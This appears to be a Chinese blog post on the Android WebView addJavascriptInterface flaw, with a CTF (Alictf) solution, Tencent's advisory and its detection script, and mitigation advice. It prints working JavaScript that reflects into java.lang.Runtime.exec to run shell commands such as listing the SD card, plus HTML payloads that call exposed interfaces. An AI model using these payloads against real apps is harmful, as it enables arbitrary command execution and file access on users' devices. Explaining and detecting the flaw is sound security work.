首先是addJavaScriptInterface漏洞:

  有时候访问手机百度贴吧网页版本,网页上会有个按钮提示用手机应用打开。这种交互通常都是使用JS来实现,而WebView已经提供了这样的方法,具体用法如下:

mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");

  向WebView注册一个名叫“jsInterface”的对象,然后在JS中可以访问到jsInterface这个对象,就可以调用这个对象的一些方法,最终可以调用到Java代码中,从而实现了JS与Java代码的交互

  This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level JELLY_BEAN or below, because JavaScript could use reflection to access an injected object's public fields.

  在Jelly Bean之后,addJavaScriptInterface这个方法已经被取消了,但如果想要兼容这之前的设备,还必须使用。

  通过这个漏洞,JavaScript可以访问SD卡上的文件。

  JS中可以遍历window对象,找到存在“getClass”方法的对象的对象,然后再通过反射的机制,得到Runtime对象,然后调用静态方法来执行一些命令,比如访问文件的命令。

function execute(cmdArgs)
{
    for (var obj in window) {
        if ("getClass" in window[obj]) {
            alert(obj);
            return  window[obj].getClass().forName("java.lang.Runtime")
                 .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
        }
    }

这样就可以执行一些command比如:

var p = execute(["ls","/mnt/sdcard/"]);  

Alictf第三题便是要输入一个网址,点击那个网址可以调用那个addJavaScriptInterface的第二个对象(上面对应的jsInterface),如果你知道了那个对象的名字和方法,就可以这样构造一个html:

<html>
<body> <script type="text/javascript">
function crack()
{
  SmokeyBear.showToast()
}
  crack()
</script> </body>
</html>

把这个html命名为aa.html,放到sdcard上,输入file:///sdcard/aa.html,就会触发应用程序的showToast()方法;也可以放到服务器上访问。

或者不知道SmokeyBear这个对象,可以这样:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script>
function findobj(){
for (var obj in window) {
if ("getClass" in window[obj]) {
return window[obj]
}
}
}
</script>
</head>
<body>
hellowrold!
<script type="text/javascript">
var obj = findobj()
obj.showToast()
</script>
</body>
</html>

setJavaScriptEnabled

通过此API可以设置是否允许WebView使用JavaScript,默认是不允许,但很多应用,包括移动浏览器为了让WebView执行http协议中的javascript,都会主动设置允许WebView执行Javascript,而又不会对不同的协议区别对待,比较安全的实现是如果加载的url是http或https协议,则启用javascript,如果是其它危险协议,如是file协议,则禁用javascript。禁用file协议的javascript可以很大程度上减小跨源漏洞对WebView的威胁。

安全建议:

1.对于不需要使用file协议的应用,禁用file协议

2.对于需要使用file协议的应用,禁止file协议调用javascript

腾讯实验室(http://security.tencent.com/index.php/opensource/detail/1)的解释:

漏洞原理:
在安卓WebView 组件中存在 addJavascriptInterface 方法,主要用于将Java类或方法导出以供JavaScript调用。但是,JavaScript在调用导出的Java类时,可通过反射执行任意JAVA代码。典型的攻击场景:通过受影响的app发送恶意构造页面的URL,用户点击打开URL后,会执行恶意代码。比如某安卓应用使用addJavascriptInterface 方法提供以下接口:

this.b.addJavascriptInterface(new fz(this, null), "js_class_name");

那么可构造恶意html页面,然后通过JavaScript调用该接口来执行系统命令:

js_class_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

修复方案:

1、如果无需与JS交互,请删除对addJavascriptInterface函数的调用;

2、在载入页面时对URL进行白名单判定,只有存在白名单中的域才允许导出或调用相关的Java类或方法;

 

它们给出的验证方案是用应用访问(http://security.tencent.com/lucky/check_tools.html)这个页面,它会给你提示是否有漏洞。

那个页面的中的算法是这样的:

<script type="text/javascript">

function check()
{ var res = 0; for (var obj in window)
{
try {
if ("getClass" in window[obj]) {
try{
window[obj].getClass();
document.getElementById("res_show").innerHTML = "<b><font color='red'>当心!您当前使用的APP可能存在Andriod WebView 挂马漏洞!请不要用这个APP打开不可信的外部链接!</font></b>";
res = 1;
break;
}catch(e){
}
}
} catch(e) {
}
} if(res==0)
{
document.getElementById("res_show").innerHTML = "<b><font color='green' size=6>恭喜!您当前的APP不存在Andriod WebView 挂马漏洞!请放心使用!</font></b>";
}
}
</script>

也就是遍历window,查找「getClass」,看有没有反射调用的地方,有就提示。

wooyun给出的方法也类似。下图是用alictf的jscrack访问http://drops.wooyun.org/webview.html得到的结果:

那是因为jscrack中为SmokeyBear这个街口定义了类似这样的shwoToast()方法:

-------------------------------------------------------------

除了addJavascriptInterface执行漏洞,还有UXXS漏洞

通用型跨站脚本(UXSS,Universal Cross-Site Scfipting),主要是利用浏览器及插件的漏洞(比如同源策略绕过,导致A站的脚本可以访问B站的各种私有属性,例如cookie等)来构造跨站条件,以执行恶意代码。

参考:

http://blog.csdn.net/leehong2005/article/details/11808557

http://blogs.360.cn/360mobile/2014/09/22/webview%e8%b7%a8%e6%ba%90%e6%94%bb%e5%87%bb%e5%88%86%e6%9e%90/

http://bbs.pediy.com/showthread.php?t=192928&highlight=webview

对Webview跨源攻击的理解的更多相关文章

  1. 彻底掌握CORS跨源资源共享

    本文来自于公众号链接: 彻底掌握CORS跨源资源共享 ) 本文接上篇公众号文章:彻底理解浏览器同源策略SOP 一.概述 在云时代,各种SAAS应用层出不穷,各种互联网API接口越来越丰富,H5技术在微 ...

  2. DDOS、CC、sql注入,跨站攻击防御方法

    web安全常见攻击解读--DDos.cc.sql注入.xss.CSRF 一,DDos https://www.cnblogs.com/sochishun/p/7081739.html#4111858 ...

  3. Http的会话跟踪和跨站攻击(xss)

    会话跟踪 什么是会话? 客户端打开与服务器的连接发出请求到服务器响应客户端请求的全过程称之为会话. 什么是会话跟踪? 会话跟踪指的是对同一个用户对服务器的连续的请求和接受响应的监视. 为什么需要会话跟 ...

  4. Cross-Site Scripting XSS 跨站攻击全攻略 分类: 系统架构 2015-07-08 12:25 21人阅读 评论(2) 收藏

    原文:http://a1pass.blog.163.com/blog/static/2971373220087295449497/ 题记:这是我在<黑客X档案>08年第5期发表的一篇文章, ...

  5. 应用安全-Web安全-XSS(跨站攻击)攻防整理

    分类 反射型 存储型 DOM型 XSF(Flash XSS) PDFXSS MHTML协议跨站(MHTML,data) 字符编码(UTF-7 XSS) 富文本编辑器测试 - 输入框 <img S ...

  6. 从源码角度理解Java设计模式——装饰者模式

    一.饰器者模式介绍 装饰者模式定义:在不改变原有对象的基础上附加功能,相比生成子类更灵活. 适用场景:动态的给一个对象添加或者撤销功能. 优点:可以不改变原有对象的情况下动态扩展功能,可以使扩展的多个 ...

  7. HTTP攻击与防范-跨站攻击-01简介

    实验目的 1.掌握WEB渗透测试跨站攻击原理 2.了解WEB站点的跨站攻击脆弱性 3.修复存在跨站攻击可能的漏洞 实验原理 XSS又叫CSS (Cross Site script) ,跨站脚本攻击.它 ...

  8. c:out标签和el表达式与跨域攻击XSS

    很多时候,在JSP中我们喜欢用EL表达式输出信息,但是最近发现这个确实存在个问题:XSS即跨域攻击. 下面看个例子: <c:out value="${student.name}&quo ...

  9. JS 跨源请求

    一个 URL 大概包含的部分:scheme://host:port/path?#hash 比如一个 URL 为 http://www.xxx.com:8888/school/student.html, ...

随机推荐

  1. GOF23种设计模式-工厂模式

    • 工厂模式: – 实现了创建者和调用者的分离. – 详细分类: • 简单工厂模式 • 工厂方法模式 • 抽象工厂模式 • 面向对象设计的基本原则: – OCP(开闭原则,Open-Closed Pr ...

  2. mac 查看系统位数

    uname -a

  3. TCP通过滑动窗口和拥塞窗口实现限流,能抵御ddos攻击吗

    tcp可以通过滑动窗口和拥塞算法实现流量控制,限制上行和下行的流量,但是却不能抵御ddos攻击. 限流只是限制访问流量的大小,是无法区分正常流量和异常攻击流量的. 限流可以控制本软件或者应用的流量大小 ...

  4. ssm 网页

    http://stackoverflow.com/questions/14545872/bean-named-xxx-must-be-of-typexxx-but-was-actually-of-ty ...

  5. 8款精美的HTML5图片动画分享

    From:http://geek.csdn.net/news/detail/196250 HTML5结合jQuery可以让网页图片变得更加绚丽多彩,比如实现一些图片3D切换.CSS3动画绘制以及各种图 ...

  6. VM不能ping通www.baidu.com的问题【NAT】 更新了【桥接模式】

    NAT模式 1.为NAT设置子网及掩码等信息 点击VMWare菜单栏“编辑” —> 虚拟网络编辑器 [下图第一张图]—> 选中VMnet8(当然这个看自己的设备后缀是多少了,只要外部连接方 ...

  7. 【git】强制覆盖本地代码

    [git]强制覆盖本地代码(与git远程仓库保持一致) 2018年04月27日 23:53:57 不才b_d 阅读数:21145   版权声明:本文为博主不才b_d原创文章,未经允许不得转载. || ...

  8. 文件I/O相关函数

    open()和openat()函数: #include <fcntl.h> // 成功返回文件描述符,出错返回-1 int open(const char *path, int oflag ...

  9. java 的PO、VO、TO、BO、DAO、POJO解释(转载)

    PO(persistent object):持久化对象 在O/R映射时出现的概念.如果没有O/R映射,则不存在PO.通常对应数据模型(数据库),本身还有部分业务逻辑的处理.可以看作是与数据库中的表相映 ...

  10. 平滑的滚动listview到一个指定位

    http://blog.csdn.net/w8320273/article/details/9043339